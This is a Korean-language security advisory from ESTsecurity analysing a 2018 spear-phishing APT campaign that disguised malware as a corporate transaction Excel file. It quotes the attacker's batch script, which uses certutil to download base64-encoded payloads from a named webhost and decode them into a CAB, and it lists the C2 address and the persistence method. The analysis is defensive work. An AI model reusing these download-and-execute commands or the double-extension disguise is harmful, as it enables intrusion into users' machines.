본문 바로가기

공지사항

이스트시큐리티 소식을 알려드립니다.

기업 거래내역 엑셀 문서파일로 위장한 APT 표적공격 주의

보안공지 2018-08-16

■ 기업 거래내역서로 위장한 APT 공격 배경


2018년 08월 10일경 마치 특정 기업의 거래내역 엑셀문서처럼 위장한 악성코드가 스피어피싱(Spear Phishing) 기법으로 유포된 정황이 포착되었습니다.


ESRC는 공격에 활용된 자료들을 조사 중에 몇 가지 흥미로운 단서를 발견했습니다. 공격자는 자신의 신분을 숨기기 위해 마치 한국의 특정 포털사처럼 유사한 정보를 사용했으며, 세무회계 사무소 담당자로 위장했습니다.


또한, 한국에서 주로 이용되는 압축 프로그램을 이용했고, 엑셀(Excel) 문서처럼 보이게 하기 위해 2중 확장자 기법을 활용했습니다.


[그림 1] 공격 벡터 흐름도



■ 공격 절차 및 분석 내용


공격자는 특정 기업의 거래내역서 파일처럼 위장한 악성파일을 전송하게 됩니다. 이 파일은 마치 MS Excel 파일처럼 보이도록, 아이콘이 교묘히 설정되어 있으며 확장명도 '파일명.xlsx (빈공간).exe' 형태로 제작하였습니다.


이처럼 파일명에 다중 확장자를 설정할 경우 윈도우즈 운영체제 디폴트 옵션(알려진 파일 형식의 파일 확장명 숨기기)에 따라 최종 실행파일(.EXE)확장자는 보이지 않고, 엑셀(.XLSX) 문서 확장자만 보이게 됩니다.


이러한 위협벡터는 매우 고전적인 모델이지만, 누구나 쉽게 현혹될 수 있으므로, 기본적 보안성 강화를 위해 윈도우즈(Windows) 운영체제의 폴더옵션은 가급적 확장명을 숨기지 않도록 하는 설정을 권장합니다.


[그림 2] 폴더옵션에서 확장명 보이도록 설정하는 화면



엑셀 문서처럼 위장한 악성파일은 한국시간(KST) 기준으로 "2018-08-09 02:44" 제작이 되었고, VMProtect 프로그램으로 패킹이 되어 있습니다.


이 파일이 정상적으로 작동하게 되면, 해외의 웹 호스팅 서버로 접속을 시도하고, '1.txt' 파일로 등록되어 있는 배치파일 명령을 수행하게 됩니다.


- 071790.000webhostapp.com/vic/1.txt


'1.txt' 파일에는 운영체제 32비트와 64비트로 플랫폼 명령을 구분하였고, '1.bat' 파일로 다운로드되어 실행됩니다.


배치 파일 명령이 실행되면 각 플랫폼에 따라 'setup.txt', 'setup2.txt' 파일을 다운로드해, 'certutil' 명령을 통해 CAB 파일로 변환하게 됩니다.


더불어 이런 추가 명령과 함께 실행된 컴퓨터에는 정상적인 엑셀 문서를 보여주어, 이용자로 하여금 정상적인 문서로 보이도록 현혹하게 됩니다.



[그림 3] 악성코드 실행시 함께 보여지는 정상적인 엑셀 문서 화면



정상적인 엑셀 화면이 보여지는 과정에도 실행된 드롭퍼는 계속 명령제어(C2) 서버로 접속을 시도하고, 만약 정상적으로 통신이 성공하면 배치파일 명령에 따라 'setup.txt', 'setup2.txt' 파일을 다운로드하게 됩니다.


:if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)


:32BITOS

certutil -urlcache -split -f "https://071790.000webhostapp.com/vic/setup.txt" > nul

certutil -decode -f setup.txt setup.cab > nul

del /f /q setup.txt > nul

GOTO ISEXIST


:64BITOS

:certutil -urlcache -split -f "https://071790.000webhostapp.com/vic/setup2.txt" > nul

:certutil -d^ecode -f setup2.txt setup.cab > nul

:del /f /q setup2.txt > nul

:GOTO ISEXIST


'certutil.exe' 프로그램은 윈도우즈 운영체제에 기본적으로 설치되어 있는 인증서 데이터베이스 도구로 인증서 및 데이터베이스 파일을 만들고 수정할 수 있는 명령줄 프로그램입니다.


-urlcache : URL 캐시 항목을 표시 또는 삭제

-f : 파일 지정

-split : 파일 저장

-decode : BASE64 파일 디코딩


위 명령어를 통해 공격자는 원격지의 파일 다운로드 및 실행을 수행할 수 있게됩니다.


또한, 배치파일 구성을 통해 운영체제 별로 개별 명령을 내릴 수도 있는데, 실제 공격자도 이러한 방식을 일부 적용해 사용했습니다.


또한, 유사한 보안위협에서는 정상적인 HWP 한글 문서를 다운로드해 실행하는 경우도 존재합니다.


[그림 4] 추가 악성코드 설치를 위한 배치파일 명령어 화면


통신 및 명령이 정상작동하면, 공격자가 구축한 서버에서 'setup.txt' 파일을 다운로드해 'setup.cab' 파일로 복호화하게 됩니다.


'setup.txt' 파일은 내부에 다음과 같이 서명파일(CERTIFICATE)처럼 설정된 Base64 코드가 인코딩된 상태로 포함되어 있습니다.


[그림 5] 서명 파일로 위장되어 있는 코드 화면


복호화된 CAB 파일에는 'install.bat', 'spoolsve.exe', 'winniet.ini' 3개의 파일이 포함되어 있으며, 'install.bat' 파일에 의해 추가적인 명령이 진행됩니다.


공격자는 배치파일을 통해 다양한 방식으로 공격에 활용하고 있으며, 레지스트리 Run 값에 등록해 재부팅 후에도 자동실행되도록 만듭니다.


[그림 6] 다운로드되는 CAB 파일과 배치파일 명령어 화면


'spoolsve.exe' 파일은 말레이시아의 특정 호스트(111.90.138.41)로 접속을 시도해 명령을 대기하는데, 해당 서버의 아이피 주소는 'winniet.ini' 파일에 인코딩되어 숨겨져 있습니다.


[그림 7] 'winnet.ini' 파일에 암호화되어 있는 C2 아이피 주소 화면



■ APT 공격의 현안과 대응


감염된 컴퓨터는 조건에 따라 정보 수집 및 추가 명령이 작동하게 됩니다. 또한, 공격자의 의도에 따라 추가 악성 파일이 설치될 수 있게 됩니다.


ESRC에서는 이번 공격 벡터가 최근 수개월 사이 한국에 집중되고 있다는 것을 확인했으며, 주로 암호화페 내용, 금융분야 이력서 등의 변종이 확인된 바 있습니다.


또한, 공격자가 사용한 일부 전략과 기술 중에는 정부지원 해커(State-sponsored Actor)로 추정되는 흔적들이 일부 오버랩되고 있습니다.


이에 이스트시큐리티 대응센터(ESRC)에서는 국가기반 위협그룹에 대한 보다 체계적이고 지속적인 인텔리전스 연구와 추적을 통해, 유사 보안위협으로 인한 피해를 최소화할 수 있도록 관련 모니터링을 강화하고 있습니다.